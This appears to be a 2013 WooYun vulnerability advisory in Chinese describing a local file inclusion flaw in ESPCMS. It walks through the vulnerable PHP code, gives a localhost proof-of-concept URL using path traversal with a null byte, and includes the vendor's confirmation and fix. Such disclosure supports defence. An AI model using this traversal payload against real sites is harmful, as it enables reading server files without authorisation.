当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021408

漏洞标题:ESPCMS Local File Inclusion Vulnerability

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: knife

提交时间:2013-04-08 18:39

修复时间:2013-04-23 23:21

公开时间:2013-04-23 23:21

漏洞类型:文件包含

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-08: 细节已通知厂商并且等待厂商处理中
2013-04-08: 厂商已经确认,细节仅向厂商公开
2013-04-18: 细节向核心白帽子及相关领域专家公开
2013-04-23: 厂商提前公开漏洞,细节向公众公开

简要描述:

包含

详细说明:

adminsoft/index.php

$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;
include admin_ROOT . adminfile . "/control/$archive.php";// 包含产生 good nice
$control = new important();
$action = 'on' . $action;
if (method_exists($control, $action)) {
$control->$action();
} else {
exit('错误:系统方法错误!');
}


首先看index.php
02 ///省略无关代码
03 $archive = indexget('ac', 'R'); //ac
04 $action = indexget('at', 'R'); //at
05 ///省略无关代码
06 if (empty($archive) || empty($action)) {
07 include admin_ROOT . 'interface/public.php';
08 $mainlist = new mainpage();
09 if (method_exists($mainlist, 'in_index')) {
10 $mainlist->in_index();
11 } else {
12 exit('Access error!');
13 }
14 } else {
15 if (in_array($archive, array('article', 'forum', 'search', 'bbssearch', 'forummain', 'messmain', 'special', 'respond', 'public', 'scriptout', 'enquiry', 'enquirymain', 'form', 'formmain', 'ordermain', 'membermain', 'member', 'forum', 'order'))) { //强制,首页包含木有了
16 $action = 'in_' . $action; /in_$ 函数
17 if (!file_exists(admin_ROOT . "interface/$archive.php")) { //跟进
18 exit('Access error!');
19 }
20 include admin_ROOT . "interface/$archive.php";
21 $mainlist = new mainpage();
22 if (method_exists($mainlist, $action)) {
23 $mainlist->$action();
24 } else {
25 exit('Access error!');
26 }
27 } else {
28 exit('Access error!');
29 }
30 }
31 ///省略无关代码
32 跟进到interface/enquity文件
33 ///省略无关代码
34 $filename = $this->fun->accept('filename', 'G'); //filename变量
35 $filename = empty($filename) ? 'list' : $filename;
36 ///省略无关代码
37 $output = $this->pagetemplate->fetch($lng . '/lib/' . $filename); '
38 ///省略无关代码
39 ///跟进函数库查看
40 function fetch($tpl_file, $cache_fileID = null, $outHTML = null) {
41 if (!empty($outHTML)) {
42 $out = $this->gettemprequire($outHTML);
43 return $out;
44 }
45 require_once 'ectemplates_parser.php';
46
47 if ($this->libfile) {
48 $tpl_file = $this->templatesDIR . $tpl_file . '.html'; //html
49 }
50
51 $template_file = $this->tpl_dir . $tpl_file;
52
53 $parsed_file = $this->tpl_c_dir . md5($tpl_file) . '.php';
54
55
http://127.0.0.1/espcms_utf8_5.6.13.03.14_b/upload/index.php?ac=scriptout&at=list&tid=1&filename=../../../../index.txt%00

漏洞证明:

http://127.0.0.1/espcms_utf8_5.6.13.03.14_b/upload/index.php?ac=scriptout&at=list&tid=1&filename=../../../../index.txt%00

修复方案:

过滤特殊字符

版权声明:转载请注明来源 knife@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-04-08 18:42

厂商回复:

感谢,我们会尽快修复!!!

最新状态:

2013-04-23:已修正此漏洞!下载地址http://www.ecisp.cn/html/cn/download/